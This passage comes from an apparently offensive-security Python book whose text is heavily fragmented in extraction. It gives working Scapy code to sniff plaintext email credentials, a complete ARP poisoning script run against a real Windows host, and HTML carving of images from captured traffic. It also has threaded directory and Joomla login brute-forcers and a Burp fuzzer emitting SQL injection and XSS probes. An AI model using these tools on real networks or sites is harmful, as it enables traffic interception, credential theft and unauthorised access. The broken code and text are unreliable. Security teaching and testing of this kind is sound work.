If we detect the
anticipated ICMP message, we first check to make sure that the ICMP response is coming from within
our target subnet ➍
...
If all of these checks pass, we print out the source IP address of where the ICMP
message originated
...


Kicking the Tires
Now let’s take our scanner and run it against the local network
...
In my case, the IP address of the local machine I was on was
192
...
0
...
168
...
0/24
...

T H E N E TA D D R M O D U L E
Our scanner is going to use a third-party library called netaddr, which will allow us to feed in a subnet mask such as 192
...
0
...
Download the library from here: http://code
...
com/p/netaddr/downloads/list
Or, if you installed the Python setup tools package in Chapter 1, you can simply execute the following from a command prompt:
easy_install netaddr

The netaddr module makes it very easy to work with subnets and addressing
...
168
...
3"
if ip_address in IPNetwork("192
...
112
...
168
...
1/24"):
s = socket
...
connect((ip, 25))
# send mail packets

This will greatly simplify your programming life when dealing with entire networks at a time, and it is ideally suited for our host
discovery tool
...

c:\Python27\python
...
py
Host Up: 192
...
0
...
168
...
190
Host Up: 192
...
0
...
168
...
195

For a quick scan like the one I performed, it only took a few seconds to get the results back
...
You can easily expand what you’ve learned in this chapter to decode TCP and
UDP packets, and build additional tooling around it
...
This would allow a deployed trojan to scan the local
network looking for additional targets
...

[7] An input/output control (IOCTL) is a means for userspace programs to communicate with kernel mode components
...
wikipedia
...


Chapter 4
...
Philippe Biondi has created such a library in the packet manipulation
library Scapy
...
Scapy is
powerful and flexible, and the possibilities are almost infinite
...
We’ll wrap things up by demonstrating how Scapy’s PCAP processing can
be extended to carve out images from HTTP traffic and then perform facial detection on them to
determine if there are humans present in the images
...

The newest version of Scapy does support Windows,[8] but for the purpose of this chapter I will
assume you are using your Kali VM that has a fully functioning Scapy installation
...
secdev
...


Stealing Email Credentials
You have already spent some time getting into the nuts and bolts of sniffing in Python
...
We are going to build a very
simple sniffer to capture SMTP, POP3, and IMAP credentials
...
This technique can of course be applied to any
protocol or to simply suck in all traffic and store it in a PCAP file for analysis, which we will also
demonstrate
...
The aptly named sniff function looks like the following:
sniff(filter="",iface="any",prn=function,count=N)

The filter parameter allows us to specify a BPF (Wireshark-style) filter to the packets that Scapy
sniffs, which can be left blank to sniff all packets
...
The iface parameter tells the sniffer which network interface to
sniff on; if left blank, Scapy will sniff on all interfaces
...
The count parameter specifies how many packets you want to
sniff; if left blank, Scapy will sniff indefinitely
...
We’ll then expand it
to only sniff email-related commands
...
py and jam out the following code:
from scapy
...
show()
# fire up our sniffer
➋ sniff(prn=packet_callback,count=1)

We start by defining our callback function that will receive each sniffed packet ➊ and then simply tell
Scapy to start sniffing ➋ on all interfaces with no filtering
...

$ python2
...
py
WARNING: No route found for IPv6 destination :: (no default route?)
###[ Ethernet ]###
dst
= 10:40:f3:ab:71:02
src
= 00:18:e7:ff:5c:f8
type
= 0x800
###[ IP ]###
version
= 4L
ihl
= 5L
tos
= 0x0
len
= 52
id
= 35232
flags
= DF
frag
= 0L
ttl
= 51
proto
= tcp
chksum
= 0x4a51
src
= 195
...
239
...
168
...
198
\options
\
###[ TCP ]###

sport
dport
seq
ack
dataofs
reserved
flags
window
chksum
urgptr
options

=
=
=
=
=
=
=
=
=
=
=

etlservicemgr
54000
4154787032
2619128538
8L
0L
A
330
0x80a2
0
[('NOP', None), ('NOP', None), ('Timestamp', (1960913461,
764897985))]

None

How incredibly easy was that! We can see that when the first packet was received on the network, our
callback function used the built-in function packet
...
Using show() is a great way to debug scripts as you are
going along to make sure you are capturing the output you want
...

from scapy
...
payload:
mail_packet = str(packet[TCP]
...
lower() or "pass" in mail_packet
...
dst
print "[*] %s" % packet[TCP]
...
We changed our sniff function to add a filter that only includes traffic
destined for the common mail ports 110 (POP3), 143 (IMAP), and SMTP (25) ➍
...
It’s a good idea to use this parameter if you intend to leave a long-term sniffer running
because then you won’t be consuming vast amounts of RAM
...
If we detect an authentication string, we print out the server we are sending
it to and the actual data bytes of the packet ➌
...
57
...
12
USER jms
Server: 25
...
168
...
57
...
12
USER jms
Server: 25
...
168
...
57
...
12 and sending the
plain text credentials over the wire
...

Sniffing your own traffic might be fun, but it’s always better to sniff with a friend, so let’s take a look
at how you can perform an ARP poisoning attack to sniff the traffic of a target machine on the same
network
...
Quite simply, we
will convince a target machine that we have become its gateway, and we will also convince the
gateway that in order to reach the target machine, all traffic has to go through us
...
Because the Address Resolution Protocol and ARP poisoning in general is
covered in numerous other materials, I’ll leave it to you to do any necessary research to understand
how this attack works at a lower level
...
When I tested this, I attacked a real
Windows machine and used my Kali VM as my attacking machine
...
The first thing
we’ll do is check the ARP cache on the target Windows machine so we can see our attack in action
later on
...

C:\Users\Clare> ipconfig
Windows IP Configuration
Wireless LAN adapter Wireless Network Connection:



Connection-specific DNS Suffix
...
pace
...
: fe80::34a0:48cd:579:a3d9%11
IPv4 Address
...
16
...
71
Subnet Mask
...
255
...
0
Default Gateway
...
16
...
254

C:\Users\Clare> arp -a
Interface: 172
...
1
...
16
...
254
172
...
1
...
0
...
22
224
...
0
...
0
...
252
255
...
255
...
16
...
254 and its associated ARP cache
entry ➋ has a MAC address of 3c-ea-4f-2b-41-f9
...
Now that we know the gateway and our target IP address, let’s begin coding our ARP
poisoning script
...
py, and enter the following code:
from scapy
...
16
...
71"
"172
...
1
...
iface = interface

# turn off output
conf
...
Exiting
...
exit(0)
else:
print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)
➋ target_mac = get_mac(target_ip)
if target_mac is None:
print "[!!!] Failed to get target MAC
...
"
sys
...
Thread(target = poison_target, args =
(gateway_ip, gateway_mac,target_ip,target_mac))
poison_thread
...
pcap',packets)



# restore the network
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)



except KeyboardInterrupt:
# restore the network
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys
...
We start by resolving the gateway ➊ and target IP ➋
address’s corresponding MAC addresses using a function called get_mac that we’ll plumb in shortly
...
In our main thread, we start up a sniffer ➍ that will capture a preset amount of packets
using a BPF filter to only capture traffic for our target IP address
...
When the attack is finished, we call our
restore_target function ➏, which is responsible for putting the network back to the way it was
before the ARP poisoning took place
...
"
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,
hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,
hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
# signals the main thread to exit



os
...
getpid(), signal
...
src
return None
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):



poison_target = ARP()
poison_target
...
psrc = gateway_ip
poison_target
...
hwdst= target_mac



poison_gateway = ARP()
poison_gateway
...
psrc = target_ip
poison_gateway
...
hwdst= gateway_mac
print "[*] Beginning the ARP poison
...
sleep(2)
except KeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
print "[*] ARP poison attack finished
...
Our restore_target function simply sends out
the appropriate ARP packets to the network broadcast address ➊ to reset the ARP caches of the
gateway and target machines
...
Our get_mac
function is responsible for using the srp (send and receive packet) function ➌ to emit an ARP request
to the specified IP address in order to resolve the MAC address associated with it
...
By poisoning both the gateway and the target IP address, we can see traffic flowing in and out of
the target
...

Let’s take this bad boy for a spin!

Kicking the Tires
Before we begin, we need to first tell our local host machine that we can forward packets along to
both the gateway and the target IP address
...
inet
...
forwarding=1

Now that we have IP forwarding in place, let’s fire up our script and check the ARP cache of our
target machine
...
7 arper
...
16
...
254 is at 3c:ea:4f:2b:41:f9
[*] Target 172
...
1
...
[CTRL-C to stop]
[*] Starting sniffer for 1000 packets

Awesome! No errors or other weirdness
...
16
...
71 --- 0xb
Internet Address
Physical Address
172
...
1
...
16
...
254
10-40-f3-ab-71-02
172
...
1
...
0
...
22
01-00-5e-00-00-16
224
...
0
...
0
...
252
01-00-5e-00-00-fc
255
...
255
...
) now has
her ARP cache poisoned where the gateway now has the same MAC address as the attacking
computer
...
16
...
64
...
pcap file in the same directory
as your script
...
You might want to hang on to
that PCAP for the next section on PCAP processing — you never know what you might find!

PCAP Processing
Wireshark and other tools like Network Miner are great for interactively exploring packet capture
files, but there will be times where you want to slice and dice PCAPs using Python and Scapy
...

We are going to take a slightly different spin on this and attempt to carve out image files from HTTP
traffic
...

We can use our previous ARP poisoning script to generate the PCAP files or you could extend the
ARP poisoning sniffer to do on-thefly facial detection of images while the target is browsing
...
Open pic_carver
...
all import *
pictures_directory = "/home/justin/pic_carver/pictures"
faces_directory
= "/home/justin/pic_carver/faces"
pcap_file
= "bhp
...
sessions()

for session in sessions:
http_payload = ""
for packet in sessions[session]:
try:
if packet[TCP]
...
sport == 80:


# reassemble the stream
http_payload += str(packet[TCP]
...
%s" %
(pcap_file,carved_images,image_type)
fd = open("%s/%s" %
(pictures_directory,file_name),"wb")

fd
...
close()
carved_images += 1



# now attempt face detection
try:
result = face_detect("%s/%s" %
(pictures_directory,file_name),file_name)
if result is True:
faces_detected += 1
except:
pass

return carved_images, faces_detected

carved_images, faces_detected = http_assembler(pcap_file)
print "Extracted: %d images" % carved_images
print "Detected: %d faces" % faces_detected

This is the main skeleton logic of our entire script, and we will add in the supporting functions
shortly
...
We take advantage of a beautiful feature of
Scapy to automatically separate each TCP session ➋ into a dictionary
...
This
is effectively the same as right-clicking in Wireshark and selecting Follow TCP Stream
...
After we validate that we are receiving an image
back in an HTTP response, we extract the raw image ➎ and return the image type and the binary body
of the image itself
...
We store the extracted image ➏ and then pass the file path along to our facial
detection routine ➐
...

def get_http_headers(http_payload):
try:
# split the headers off if it is HTTP traffic
headers_raw = http_payload[:http_payload
...
findall(r"(?P<'name>
...
*?)\r\n",
headers_raw))
except:
return None
if "Content-Type" not in headers:
return None
return headers
def extract_image(headers,http_payload):
image
= None
image_type = None
try:
if "image" in headers['Content-Type']:

# grab the image type and image body
image_type = headers['Content-Type']
...
index("\r\n\r\n")+4:]
# if we detect compression decompress the image
try:
if "Content-Encoding" in headers
...
decompress(image, 16+zlib
...
decompress(image)
except:
pass
except:
return None,None
return image,image_type

These supporting functions help us to take a closer look at the HTTP data that we retrieved from our
PCAP file
...
The extract_image function takes the HTTP headers and determines
whether we received an image in the HTTP response
...
Now let’s drop in our facial detection code to determine if there is a human face in
any of the images that we retrieved
...
py:
def face_detect(path,file_name):



img
= cv2
...
CascadeClassifier("haarcascade_frontalface_alt
...
detectMultiScale(img, 1
...
cv
...
rectangle(img,(x1,y1),(x2,y2),(127,255,0),2)
cv2
...
fideloper
...
Using the OpenCV Python bindings, we can read in the image ➊
and then apply a classifier ➋ that is trained in advance for detecting faces in a front-facing
orientation
...
After the detection has been run, it will return
rectangle coordinates that correspond to where the face was detected in the image
...
Now let’s take this all
for a spin inside your Kali VM
...

We also need to grab the facial detection training file like so:
wget http://eclecti
...
xml

Now create a couple of directories for our output, drop in a PCAP, and run the script
...
py
Extracted: 189 images
Detected: 32 faces
#:>

You might see a number of error messages being produced by OpenCV due to the fact that some of the
images we fed into it may be corrupt or partially downloaded or their format might not be supported
...
) If you crack open your faces directory, you should see a number of files with faces and magic
green boxes drawn around them
...
You can of course extend this example beyond
using it against carved images from PCAPs and use it in conjunction with web crawling and parsing
techniques described in later chapters
...
secdev
...
html#windows
[9] Check out OpenCV here: http://www
...
org/
...
Web Hackery
Analyzing web applications is absolutely critical for an attacker or penetration tester
...
There are a number of excellent web application tools that have been
written in Python, including w3af, sqlmap, and others
...
Instead, we’ll explore the basics of interacting with the Web using Python, and then build
on this knowledge to create reconnaissance and brute-force tooling
...
The idea is to
create a few different tools to give you the fundamental skills you need to build any type of web
application assessment tool that your particular attack scenario calls for
...
Let’s take a look at making a very simple GET request
to the No Starch Press website:
import urllib2
➊ body = urllib2
...
nostarch
...
read()

This is the simplest example of how to make a GET request to a website
...
We simply pass in a URL to the urlopen function ➊ and it returns a file-like
object that allows us to read back ➋ the body of what the remote web server returns
...
urllib2
exposes a Request class that gives you this level of control
...
nostarch
...
Request(url,headers=headers)
➌ response = urllib2
...
read()
response
...
To create
custom headers, you define a headers dictionary ➊, which allows you to then set the header key and
value that you want to use
...
We then create our Request object and pass in the url and the headers dictionary ➋,
and then pass the Request object to the urlopen function call ➌
...

We now have the fundamental means to talk to web services and websites, so let’s create some useful
tooling for any web application attack or penetration test
...
All systems have their own challenges in terms of installation,
configuration, and patch management, and these CMS suites are no exception
...

Because we can download any open source web application and locally determine its file and
directory structure, we can create a purpose-built scanner that can hunt for all files that are reachable
on the remote target
...
htaccess files, and other goodies that can assist an attacker in getting a toehold on the web
server
...
This will allow
our scanner to run very rapidly
...
py and enter the following code:
import
import
import
import

Queue
threading
os
urllib2

threads

= 10

➊ target
= "http://www
...
com"
directory = "/Users/justin/Downloads/joomla-3
...
1"
filters
= ["
...
gif","png","
...
chdir(directory)
➋ web_paths = Queue
...
walk("
...
startswith("
...
path
...
put(remote_path)



def test_remote():
while not web_paths
...
get()
url = "%s%s" % (target, path)
request = urllib2
...
urlopen(request)
content = response
...
code,path)
response
...
HTTPError as error:
#print "Failed %s" % error
...
Thread(target=test_remote)
t
...
We also create a simple list of file extensions that we
are not interested in fingerprinting
...
The
web_paths ➋ variable is our Queue object where we will store the files that we’ll attempt to locate
on the remote server
...
walk ➌ function to walk through all of the files and
directories in the local web application directory
...
For each valid file we find locally, we add it to our
web_paths Queue
...
The test_remote function operates in a
loop that will keep executing until the web_paths Queue is empty
...

If we’re successful in retrieving the file, we output the HTTP status code and the full path to the file

...
htaccess file, this will cause urllib2 to throw an
error, which we handle ➏ so the loop can continue executing
...
1
...
When you run
web_app_mapper
...
txt
/web
...
txt
/LICENSE
...
txt
/administrator/cache/index
...
html
/administrator/components/com_admin/controller
...
php
/administrator/components/com_admin/admin
...
php
/administrator/components/com_admin/helpers/index
...
html
/administrator/components/com_admin/index
...
html
/administrator/components/com_admin/models/index
...
php
/administrator/components/com_admin/controllers/profile
...
txt files and XML files
...


Brute-Forcing Directories and File Locations
The previous example assumed a lot of knowledge about your target
...
Generally, you’ll deploy a spider, such as the one included in
Burp Suite, to crawl the target website in order to discover as much of the web application as
possible
...
The only way to discover this content is to
use a brute-forcing tool to hunt down common filenames and directories
...
As before, we’ll create a pool of threads to aggressively attempt to discover
content
...
Open up a
new file, name it content_bruter
...
vulnweb
...
txt" # from SVNDigger
None
"Mozilla/5
...
0) Gecko/20100101
Firefox/19
...
readlines()
fd
...
Queue()



for word in raw_words:
word = word
...
put(word)
else:
if word == resume:
found_resume = True
print "Resuming wordlist from: %s" % resume
else:
words
...
We read in a wordlist file ➊ and then begin iterating
over each line in the file ➋
...
This can be
achieved by simply setting the resume variable to the last path that the brute forcer tried
...
We will reuse this function later in this chapter
...
The first is the ability to
apply a list of extensions to test for when making requests
...
php, admin
...
html
...
empty():
attempt = word_queue
...
" not in attempt:
attempt_list
...
append("/%s" % attempt)
# if we want to bruteforce extensions
if extensions:
for extension in extensions:
attempt_list
...
quote(brute))



try:
headers = {}
headers["User-Agent"] = user_agent
r = urllib2
...
urlopen(r)



if len(response
...
code,url)
except urllib2
...
code != 404:
print "!!! %d => %s" % (e
...
We begin by testing to see if there is a file
extension in the current word ➊, and if there isn’t, we treat it as a directory that we want to test for
on the remote web server
...
It can be useful here to think of using
extensions like
...
bak on top of the regular programming language extensions
...
If the response code is a 200, we output the URL ➍, and if we receive anything
but a 404 we also output it ➎ because this could indicate something interesting on the remote web
server aside from a “file not found” error
...
Let’s finish out the script by setting up our wordlist, creating a list of extensions, and spinning
up the brute-forcing threads
...
php","
...
orig","
...
Thread(target=dir_bruter,args=(word_queue,extensions,))
t
...
We get our list of
words to brute-force, create a simple list of file extensions to test for, and then spin up a bunch of
threads to do the brute-forcing
...
) vulnerable web applications
that you can test your tooling against
...
The cool thing is that it shows you how
effective brute-forcing a web application can be
...
In short order, you should start seeing results such as the
ones below:
[200]
[200]
[200]
[200]
[200]
[200]
[200]
[200]
[200]

=>
=>
=>
=>
=>
=>
=>
=>
=>

http://testphp
...
com/CVS/
http://testphp
...
com/admin/
http://testphp
...
com/index
...
vulnweb
...
php
http://testphp
...
com/login
...
vulnweb
...
vulnweb
...
php
http://testphp
...
com/logout
...
vulnweb
...
php

You can see that we are pulling some interesting results from the remote website
...


Brute-Forcing HTML Form Authentication
There may come a time in your web hacking career where you need to either gain access to a target,
or if you’re consulting, you might need to assess the password strength on an existing web system
...
There are a
number of brute forcers that can do the brute-forcing of a POST request to the login script, but in a lot
of cases they are not flexible enough to deal with dynamic content or handle simple “are you human”
checks
...
Modern Joomla systems include some basic anti-brute-force techniques, but still
lack account lockouts or strong captchas by default
...
In order to parse out the login form values, we’ll use the native Python class
HTMLParser
...
Let’s get started by having a look at the
Joomla administrator login form
...
com/administrator/
...

resume
= None
# target specific settings
➊ target_url
= "http://192
...
112
...
php"
target_post
= "http://192
...
112
...
php"
➋ username_field= "username"
password_field= "passwd"
➌ success_check = "Administration - Control Panel"

These general settings deserve a bit of explanation
...
The target_post variable is where we will submit our
brute-forcing attempt
...

Our success_check variable ➌ is a string that we’ll check for after each brute-forcing attempt in
order to determine whether we are successful or not
...

class Bruter(object):
def __init__(self, username, words):
self
...
password_q = words
self
...
Thread(target=self
...
start()
def web_bruter(self):



while not self
...
empty() and not self
...
password_q
...
rstrip()
jar = cookielib
...
build_opener(urllib2
...
open(target_url)
page = response
...
username,brute,self
...
qsize())



# parse out the hidden fields
parser = BruteParser()
parser
...
tag_results





# add our username and password fields
post_tags[username_field] = self
...
urlencode(post_tags)
login_response = opener
...
read()



if success_check in login_result:
self
...
"
print "[*] Username: %s" % username
print "[*] Password: %s" % brute
print "[*] Waiting for other threads to exit
...
After we grab our password attempt, we set up our cookie jar ➊ using the
FileCookieJar class that will store the cookies in the cookies file
...
We
then make the initial request to retrieve the login form
...
After we have successfully parsed the HTML, we replace the username and password
fields with our brute-forcing attempt ➌
...
After we retrieve the result of our authentication attempt, we
test whether the authentication was successful or not ➎
...
Add the following class to your joomla_killer
...
__init__(self)

self
...
tag_results[tag_name] = value

This forms the specific HTML parsing class that we want to use against our target
...
The first thing we do is create a dictionary in which our

results will be stored ➊
...
In particular, we’re looking
for HTML input tags ➋ and our main processing occurs when we determine that we have found one
...
After the HTML has been processed, our bruteforcing class can then replace the username and password fields while leaving the remainder of the
fields intact
...
The handle_starttag function will be called any time an opening HTML tag is encountered, and the opposite is true
for the handle_endtag function, which gets called each time a closing HTML tag is encountered
...
The function prototypes for each function are slightly different, as follows:
handle_starttag(self, tag, attributes)
handle_endttag(self, tag)
handle_data(self, data)

A quick example to highlight this:
Python rocks!
handle_starttag => tag variable would be "title"
handle_data
=> data variable would be "Python rocks!"
handle_endtag
=> tag variable would be "title"

With this very basic understanding of the HTMLParser class, you can do things like parse forms, find links for spidering, extract all of
the pure text for data mining purposes, or find all of the images in a page
...
run_bruteforce()

That’s it! We simply pass in the username and our wordlist to our Bruter class and watch the magic
happen
...
My target VM is
at 192
...
112
...
I have already preset the username to admin and the password to justin
in the Joomla installation so that I can make sure it works
...
txt wordlist
file about 50 entries or so down the file
...
7 joomla_killer
...

[*] Username: admin
[*] Password: justin
[*] Waiting for other threads to exit
...
To
verify, you of course would manually log in and make sure
...

[10] DirBuster Project: https://www
...
org/index
...
mavitunasecurity
...
oxid
...
html

Chapter 6
...
Recent versions of Burp Suite include the ability to
add your own tooling, called Extensions, to Burp
...
We’re going to take
advantage of this feature and add some handy tooling to Burp for performing attacks and extended
reconnaissance
...
The second extension
will interface with the Microsoft Bing API to show us all virtual hosts located on the same IP address
as our target site, as well as any subdomains detected for the target domain
...
If you need a tutorial
on how to do these tasks, please visit PortSwigger Web Security (http://www
...
net/) to get
started
...
I found it a bit confusing, as I’m a pure Python guy and have limited Java
development experience
...
I’m going to cover some basics on extending functionality, but I’ll also
show you how to use the API documentation as a guide for developing your own extensions
...
portswigger
...
As sad as it makes me
to admit this, you will require a modern Java installation, which all operating systems either have
packages or installers for
...
You can find this JAR file on the No Starch site
along with the rest of the book’s code (http://www
...
com/blackhatpython/) or visit the
official site, http://www
...
org/downloads
...
7 Standalone Installer
...
Save the JAR file to an easy-to-remember location,
such as your Desktop
...
6
...

Now let’s point Burp at our Jython interpreter
...
In the Python Environment section, select the location of your Jython JAR file, as shown in
Figure 6-2
...

Let’s get rocking!

Figure 6-1
...
Configuring the Jython interpreter location

Burp Fuzzing
At some point in your career, you may find yourself attacking a web application or web service that
doesn’t allow you to use traditional web application assessment tools
...
The application might be using too many parameters,
or it’s obfuscated in some way that performing a manual test would take far too much time
...
This is where it is useful to be able to leverage Burp to establish a solid
baseline of HTTP traffic, including authentication cookies, while passing off the body of the request
to a custom fuzzer that can then manipulate the payload in any way you choose
...

Burp has a number of tools that you can use when you’re performing web application tests
...
A common technique I use is to send them to the Repeater tool, which lets me
replay web traffic, as well as manually modify any interesting spots
...
A Burp extension can
interact in numerous ways with the Burp suite of tools, and in our case we’ll be bolting additional
functionality onto the Intruder tool directly
...
You can access this documentation by
clicking the Extender tab and then the APIs tab
...
The first thing we notice is that the developers of Burp have aptly named each class
so that it’s easy to figure out where we want to start
...
Let’s take a look at what the documentation says for the
IIntruderPayloadGeneratorFactory class:
/**
* Extensions can implement this interface and then call
➊ * IBurpExtenderCallbacks
...

*/
public interface IIntruderPayloadGeneratorFactory
{
/**
* This method is used by Burp to obtain the name of the payload
* generator
...




*
* @return The name of the payload generator
...


* @param attack
* An IIntruderAttack object that can be queried to obtain details
* about the attack in which the payload generator will be used
...

*/


IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack);
}

The first bit of documentation ➊ tells us to get our extension registered correctly with Burp
...

Next we see that Burp is expecting two functions to be present in our main class
...
The createNewInstance function ➌ expects us to return an instance
of the IIntruderPayloadGenerator, which will be a second class that we have to create
...
Open a new Python file, name it bhp_fuzzer
...
util import List, ArrayList
import random



class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
def registerExtenderCallbacks(self, callbacks):
self
...
_helpers = callbacks
...
registerIntruderPayloadGeneratorFactory(self)
return
def getGeneratorName(self):
return "BHP Payload Generator"





def createNewInstance(self, attack):
return BHPFuzzer(self, attack)

So this is the simple skeleton of what we need in order to satisfy the first set of requirements for our
extension
...
We follow this up by importing our necessary classes for creating an Intruder
payload generator
...
We then use the
registerIntruderPayloadGeneratorFactory function ➌ to register our class so that the Intruder
tool is aware that we can generate payloads
...
The last step is the createNewInstance function
➎ that receives the attack parameter and returns an instance of the IIntruderPayloadGenerator
class, which we called BHPFuzzer
...

/**

* This interface is used for custom Intruder payload generators
...

*/
public interface IIntruderPayloadGenerator
{
/**
* This method is used by Burp to determine whether the payload
* generator is able to provide any further payloads
...

*
* @param baseValue The base value of the current payload position
...
g
...

* @return The next payload to use in the attack
...
This
* method will be invoked when an attack uses the same payload
* generator for more than one payload position, for example in a
* sniper attack
...
The first
function, hasMorePayloads ➊, is simply there to decide whether to continue mutated requests back
to Burp Intruder
...
The getNextPayload
function ➋ will receive the original payload from the HTTP request that you trapped
...
This function allows us to fuzz the original test case and
then return it so that Burp sends the new fuzzed value
...

Our fuzzer isn’t so fussy, and will always just keep randomly fuzzing each HTTP request
...
Add the following code to the bottom of
bhp_fuzzer
...
_extender = extender
self
...
_helpers
self
...
max_payloads = 10
self
...
num_iterations == self
...
join(chr(x) for x in current_payload)
# call our simple mutator to fuzz the POST
payload = self
...
num_iterations += 1



return payload
def reset(self):
self
...

We define the required class variables as well as add max_payloads ➋ and num_iterations
variables so that we can keep track of when to let Burp know we’re finished fuzzing
...
Next we
implement the hasMorePayloads function ➌ that simply checks whether we have reached the
maximum number of fuzzing iterations
...
The getNextPayload function ➍ is the one that receives the original HTTP
payload and it is here that we will be fuzzing
...

We then increment the num_iterations variable ➐ and return the mutated payload
...

Now let’s drop in the world’s simplest fuzzing function that you can modify to your heart’s content
...
Add the
following code to bhp_fuzzer
...
randint(1,3)
# select a random offset in the payload to mutate
offset = random
...
randint(len(payload[offset:]),len(payload)-1)
repeater
= random
...
We’ll randomly pick from three mutators: a simple SQL
injection test with a single-quote, an XSS attempt, and then a mutator that selects a random chunk in
the original payload and repeats it a random number of times
...
Let’s take a look at how we can get it loaded
...
Click the Extender tab
in Burp and then click the Add button
...
Ensure that you set the same options as shown in Figure 6-3
...
Setting Burp to load our extension

Click Next and Burp will begin loading our extension
...
If there are errors, click the Errors tab, debug any typos, and then
click the Close button
...


Figure 6-4
...
We are now ready to leverage our extension in a real attack
...
Simply browse to:
http://testphp
...
com

As an example, I used the little search bar on their site to submit a search for the string “test”
...


Figure 6-5
...
A screen appears that shows each query
parameter highlighted
...
You can try
moving the payload delimiters around or selecting the entire payload to fuzz if you choose, but in our
case let’s leave Burp to decide where we are going to fuzz
...

Now click the Payloads tab
...
In the Payload Options section, click the Select generator
...
Your Payload screen should now look like Figure 6-7
...
Burp Intruder highlighting payload parameters

Figure 6-7
...
At the top of the Burp menu bar, click Intruder and then select
Start Attack
...
When I ran the fuzzer, I received output as shown in Figure 6-8
...
Our fuzzer running in an Intruder attack

As you can see from the warning on line 61 of the response, in request 5, we discovered what
appears to be a SQL injection vulnerability
...
The important thing is to understand how we managed to get our
custom extension in line with Intruder attacks
...


Bing for Burp
When you’re attacking a web server, it’s not uncommon for that single machine to serve several web
applications, some of which you might not be aware of
...

It’s not rare to find an insecure web application or even development resources located on the same
machine as your target
...
Bing will also
tell you all of the subdomains of a given domain (using the “domain” modifier)
...
In
order to stay out of trouble, we can use the Bing API[13] to submit these queries programmatically and
then parse the results ourselves
...
Because I already walked
you through how to read the Burp API documentation and translate it into Python, we’re going to get
right to the code
...
py and hammer out the following code:
from burp import IBurpExtender
from burp import IContextMenuFactory
from javax
...
util import List, ArrayList
from java
...
_callbacks = callbacks
self
...
getHelpers()
self
...
setExtensionName("BHP Bing")
callbacks
...
context = context_menu
menu_list = ArrayList()
menu_list
...
bing_
menu))
return menu_list

This is the first bit of our Bing extension
...
We begin by defining our
BurpExtender class ➋ that implements the standard IBurpExtender interface and the
IContextMenuFactory, which allows us to provide a context menu when a user right-clicks a
request in Burp
...
The last step is to set up our
createMenuItem function, which will receive an IContextMenuInvocation object that we will use
to determine which HTTP request was selected
...
Now let’s add the functionality to perform the Bing
query, output the results, and add any discovered virtual hosts to Burp’s target scope
...
context
...
getHttpService()
host
= http_service
...
bing_search(host)
return

def bing_search(self,host):
# check if we have an IP or hostname
is_ip = re
...
[0-9]+){3}", host)


if is_ip:
ip_address
domain
else:
ip_address
domain

= host
= False
= socket
...
bing_query(bing_query_string)



if domain:
bing_query_string = "'domain:%s'" % host
self
...
We
retrieve all of the HTTP requests that were highlighted ➊ and then retrieve the host portion of the
request for each one and send it to our bing_search function for further processing
...
We then
query Bing for all virtual hosts that have the same IP address ➌ as the host contained within the
HTTP request that was right-clicked
...
Now let’s install the plumbing
to use Burp’s HTTP API to send the request to Bing and parse the results
...

def bing_query(self,bing_query_string):
print "Performing Bing search: %s" % bing_query_string
# encode our query
quoted_query = urllib
...
datamarket
...
com/Bing/Search/Web?$
...
1\r\n" % quoted_query
http_request += "Host: api
...
azure
...
b64encode(":%s" %
...
_callbacks
...
datamarket
...
com",
...
tostring()
json_body = json_body
...
loads(json_body)
if len(r["d"]["results"]):
for site in r["d"]["results"]:



print "*" * 100
print site['Title']
print site['Url']
print site['Description']
print "*" * 100
j_url = URL(site['Url'])



if not self
...
isInScope(j_url):
print "Adding to Burp scope"
self
...
includeInScope(j_url)
except:
print "No results from Bing"
pass
return

Okay! Burp’s HTTP API requires that we build up the entire HTTP request as a string before sending
it off, and in particular you can see that we need to base64-encode ➊ our Bing API key and use
HTTP basic authentication to make the API call
...
When the response returns, we’ll have the entire response including the headers, so we split
the headers off ➌ and then pass it to our JSON parser ➍
...
This is a great blend of using the Jython API and pure Python in a
Burp extension to do additional recon work when attacking a particular target
...


Kicking the Tires
Use the same procedure we used for our fuzzing extension to get the Bing search extension working
...
vulnweb
...
If the extension is loaded properly, you should see the menu option Send to Bing
displayed as shown in Figure 6-9
...
New menu option showing our extension

When you click this menu option, depending on the output you chose when you loaded the extension,
you should start to see results from Bing as shown in Figure 6-10
...
Our extension providing output from the Bing API search

And if you click the Target tab in Burp and then select Scope, you will see new items automatically
added to our target scope as shown in Figure 6-11
...


Figure 6-11
...
It’s sad but true
...
In other instances, strong passwords are not enforced
...

The trick to online password guessing is getting the right wordlist
...
Of course, there are scripts in the Kali Linux distribution that crawl a website and generate
a wordlist based on site content
...
If you’re anything like me, you’ve already memorized enough command-line
arguments to impress your friends, so let’s make Burp do the heavy lifting
...
py and knock out this code
...
swing import JMenuItem
from java
...
net import URL
import re
from datetime import datetime
from HTMLParser import HTMLParser
class TagStripper(HTMLParser):
def __init__(self):
HTMLParser
...
page_text = []



def handle_data(self, data):
self
...
append(data)



def handle_comment(self, data):
self
...
feed(html)
return " "
...
page_text)
class BurpExtender(IBurpExtender, IContextMenuFactory):
def registerExtenderCallbacks(self, callbacks):
self
...
_helpers
= callbacks
...
context
= None
self
...
wordlist = set(["password"])
# we set up our extension
callbacks
...
registerContextMenuFactory(self)
return
def createMenuItems(self, context_menu):
self
...
add(JMenuItem("Create Wordlist",
actionPerformed=self
...
We start by importing the required modules
...
Its handle_data function stores the page text ➊ in a member variable
...
Under the covers, handle_comment just calls handle_data ➋ (in case
we want to change how we process page text down the road)
...
The rest is almost exactly the same as the start of the
bhp_bing
...
Once again, the goal is to create a context menu item in the Burp
UI
...
We initialize the set with everyone’s favorite password,
“password” ➍, just to make sure it ends up in our final list
...

def wordlist_menu(self,event):
# grab the details of what the user clicked
http_traffic = self
...
getSelectedMessages()
for traffic in http_traffic:
http_service = traffic
...
getHost()


self
...
add(host)
http_response = traffic
...
get_words(http_response)
self
...
tostring()
...
lower()
...
strip(body)



words = re
...
wordlist
...
lower())
return

Our first order of business is to define the wordlist_menu function, which is our menu-click handler
...
From there, get_words splits out the header from the message body,

